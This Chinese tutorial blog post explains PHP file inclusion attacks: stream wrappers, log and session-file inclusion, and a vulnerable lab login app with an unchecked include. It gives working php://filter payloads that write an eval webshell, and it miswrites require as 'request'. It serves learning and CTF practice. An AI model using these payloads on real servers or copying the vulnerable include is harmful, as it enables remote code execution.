文件包含漏洞

目录

文件包含简介

在PHP中进行文件包含需要知道4个函数

include简介

一些伪协议的介绍

file伪协议简介

php://filter妙用

strip_tags作用

php://input 伪协议简介

例子

zip://简介

例子

​编辑

日志包含

例子

包含session文件

例子


文件包含简介

文件包含漏洞是指在程序执行过程中,将外部文件的内容作为程序代码或数据的一部分来执行或使用,从而导致程序行为异常。攻击者可以利用这种漏洞在目标系统上执行任意代码,从而控制系统。

在PHP中进行文件包含需要知道4个函数

include

request

include_once

request_once

上两者和下两者的区别就是下面只能包含一次

include简介

include就是节省你的工作量将其他代码包含进行执行

例子下面就是将数据库的连接文件包含进来,这个动作的意义就是将下面的文件复制一份放在这里。里面如果有PHP代码就会执行

include可以包含任意文件,任意文件中含有PHP代码,PHP代码就会执行

一些伪协议的介绍

file伪协议简介

file:// 协议在双off的情况下也可以正常使用

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

file:// 用于访问本地文件系统例子

php://filter妙用

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

下面用例子来看一下这个东西的妙用

这整了一个代码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
#这里,file_put_contents 函数用于将 $content 的内容写入到由 $_POST['filename'] 指定的文件中。这意味着用户可以指定一个文件名(或路径),并且这段代码将尝试将内容写入到那个文件。
?>

上面代码在开头增加了<?php exit; ?>这样会导致文件运行就会退出

我们现在借助php://file的base64的一个解码码特性来进行绕过,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,而在上面的代码中<?;空格是不在64个可打印的字符中的。

构造注入代码

txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php
#php://filter/write=convert.base64-decode/resource=shell.php
#   php://filter 是流封装协议的标识。
#   write 表示我们要写数据。
#   convert.base64-encode 是我们要应用的过滤器,它将把读取的数据转换为 Base64 编码。
#   resource=shell.php 指定了我们要操作的文件的路径。

在解码的过程中<?php exit; ?>会被绕过(注:base64在解码的时候要补足8位)

或者有另外一种绕过的方法使用 strip_tags

strip_tags作用

这个会函数返回一个字符串,其中所有 HTML 和 PHP 标签都已被去除(除非在 $allowable_tags 参数中指定了要保留的标签)。

注入代码

txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

上面语句在执行时会发现txt的内容不是PHP语言不理,然后发现后面有一个<?php exit; ?>,他会将这个东西删除掉。然后再通配符进行解码然后再写入shell.php文件。

php://input 伪协议简介

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

例子

zip://简介

引用 ZIP 文件中的某个文件,这时就可以使用 zip:// 协议加上 ZIP 文件的路径和 ZIP 内部文件的路径来定位它。就算后缀是jpg里面的内容也可以打开

例子

日志包含

apache包含,日志包含。当日志太大的时候PHP的内存就溢出了,PHP就包含不了了。但是这些中间件都有一个设置:日志分割(其目的是为了方便运维),所以咱可以在日志更新的时候进行注入,这样日志中没有太多的内容

去寻找各个系统或中间件的默认日志路径

日志包含只有找到路径才可以,找不到路径是没有办法包含的

注入代码现在日志中生成,然后包含日志文件

例子

先发起请求(这里会有编码,可以用抓包工具修改)

这时你的请求记录会记录在日志文件中

包含

包含session文件

首先session中有可利用的代码

第二你要猜到session路径

代码中sql被预编译阻断了sql注入

例子

这个例子中的路径在实战中需要你自己尝试,可能是配置的默认路径也可能被修改。

先配置环境

环境就照普通网站弄

index.php

<?php
// 1. 必须要包含session文件,你需要知道session路径
// 2. 用户名用一句话木马代替
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
    include $_GET['action'];
    exit();
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="css/bootstrap.css" rel="stylesheet" media="screen">
    <link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
    <div class="form-signin">
        <?php if (isset($_SESSION['username'])) { ?>
            <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
            <?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
        } ?>
    </div>
</div>
</body>
</html>
<?php
}
?>

 login.php

<?php
	require_once('config.php');
	session_start();
	if($_SESSION['username']) {
		header('Location: index.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = md5($_POST['password']);
        $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
        if ($mysqli->connect_errno) {
            die("could not connect to the database:\n" . $mysqli->connect_error);
        }
        $sql = "select password from user where username=?";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("s", $username);
        $stmt->bind_result($res_password);
        $stmt->execute();
        $stmt->fetch();
        if ($res_password == $password) {
            $_SESSION['username'] = base64_encode($username);
            header("location:index.php");
        } else {
            die("Invalid user name or password");
        }
        $stmt->close();
        $mysqli->close();
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">
			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

register.php

<?php
if ($_POST['username'] && $_POST['password']) {
    require_once('config.php');
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    if ($mysqli->connect_errno) {
        die("could not connect to the database:\n" . $mysqli->connect_error);
    }
    $mysqli->set_charset("utf8");
    //php 预编译
    $sql = "select * from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_id, $res_username, $res_password);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows();
    if($count) {
        die('User name Already Exists');
    } else {
        $sql = "insert into user(username, password) values(?,?)";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    $stmt->close();
    $mysqli->close();
} else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">
			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

 数据库配置文件

<?php
$dbhost = 'localhost';
$dbuser = '用户名';
$dbpass = '密码';
$dbname = '数据库民';
 ?>

 环境搭建好后有登录和注册两个功能

先测试一下

注册

登陆

尝试包含

首先找到相应session文件的路径,在寻找路径的时候可以尝试以下各个中间件的默认路径,然后文件名就是sess_加上对应的cookie,如下图

(cookie和session关系  session就是cookie,在你注册一个用户,服务器生成一个session文件,session文件名为一个随机字符串,文件里面存储一些你的信息。服务端会将你的文件名返回给你的客户端,保存在你客户端的cookie,当你二次登陆时浏览器会带着你的cookie进入到服务端,服务器就会在自己的文件中找有没有你cookie名字的文件)

文件的内容就是username 序列化的一个值和username用base64编码后的的值

我们是否可以用include对这个session文件进行包含,如果我们的用户名是一个PHP代码,然后我们对这个session文件进行包含,是不是就达到了我们的目的

看session文件,对于这个我们要如何利用?往前看和base64有关系的伪协议是有一个的,我们就借助这个技巧来进行以下破解

username对于我们来说是可控的。由于这里写入的值被进行了base64编码。所以我们要对session进行解密但是由于这个session文件中有username|s:12这个前缀只有11位,要进行base64解码的话势必会出现乱码。所以我们要想办法把session文件里面这个前缀变得符合base64的规范,让这个前缀发生变化我们可以从序列化后的长度入手,当后面用户名长度大于100时前缀的长度就为12符合base64解码规范.这个题就解出来了

注册名非常长,然后里面携带了要注入的代码

代码中有个action进行包含

尝试包含

包含成功

  • 21
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值